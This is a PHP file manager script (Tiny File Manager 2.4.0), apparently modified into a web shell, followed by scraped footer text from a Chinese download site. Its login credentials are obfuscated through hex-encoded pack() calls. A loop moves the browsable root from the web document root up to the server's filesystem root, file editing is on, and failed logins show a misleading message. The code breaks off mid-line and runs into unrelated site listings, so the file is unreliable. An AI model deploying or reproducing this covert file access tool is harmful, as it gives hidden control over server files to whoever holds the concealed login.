<?php
$CONFIG = '{"lang":"ch","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';
define('VERSION', '2.4.0');
define('APP_TITLE', '-');
$use_auth = true;
$auth_users=array(pack(chr(72).chr(42),"61646D696E")=>pack(chr(72).chr(42),"2432792431302456494437394D76382F6335776F776B6935726F69644F777169332F53384F6453386B775A2E784E6C656D4B753252504C55376C2E47"),);
$readonly_users = array(
'user'
);
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC'; // UTC
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'd.m.y H:i';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '?img=favicon';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
define('MAX_UPLOAD_SIZE', '2048');
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
if ( !defined( 'FM_SESSION_ID')) {
define('FM_SESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'ch';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
$lang_list = array(
'ch' => '中文'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name(FM_SESSION_ID );
@session_start();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
|| isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
if (isset($_GET['logout'])) {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_redirect(FM_SELF_URL);
}
if (isset($_GET['img'])) {
fm_show_image($_GET['img']);
}
if($ip_ruleset != 'OFF'){
$clientIp = $_SERVER['REMOTE_ADDR'];
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true && $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg('Access denied. IP restriction applicable', 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($use_auth) {
if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
$_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg('You are logged in');
fm_redirect(FM_SELF_URL . '?p=');
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_set_msg('创建失败', 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg('password_hash not supported, Upgrade PHP version', 'error');;
}
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<hr />
<div class="form-group">
<label for="fm_usr"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="form-group">
<label for="fm_pwd"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="form-group">
<?php fm_show_message(); ?>
</div>
<div class="form-group">
<button type="submit" class="btn btn-success btn-block mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>Root path \"{$root_path}\" not found!</h1>";
exit;
}
$n = 0;
do{
$n++;
$parent = dirname($root_path);
if (is_readable($parent)){
$go = true;
$root_path = $parent;
if ($parent == '/'){
break;
}
}else{
$go = false;
}
if ($n == 20){
break;
}
}while($go);
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $a
智慧浩海
- 粉丝: 1w+
- 资源: 5461
最新资源
- springboot项目基于springboot+vue的游戏交易系统.zip
- springboot项目基于spring boot的疫情信息管理系统.zip
- springboot项目基于Vue的MES生产制造执行系统.zip
- springboot项目基于Springboot和vue的餐饮管理系统的设计与实现.zip
- springboot项目基于SpringBoot的中山社区医疗综合服务平台.zip
- springboot项目基于web的机动车号牌管理系统.zip
- springboot项目基于web的电影院购票系统.zip
- springboot项目基于vue的汽车租赁系统.zip
- 心脏病数据集,德国青少年(25岁以下)和成年人(25岁及以上)的心脏病发作数据(包括关于其健康状况、生活方式和环境的详细信息)
- springboot项目基于web的汽车销售系统.zip
- springboot项目基于WEB的旅游推荐系统设计与实现.zip
- springboot项目基于Web的农产品直卖平台的设计与实现.zip
- Django框架基于Python和sqlite开发的图书管理系统(源码+设计报告).zip
- springboot项目基于Web教师个人成果管理系统.zip
- springboot项目基于Web手工艺品销售系统的开发与实现.zip
- springboot项目基于个性化定制的智慧校园管理系统设计与开发.zip
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈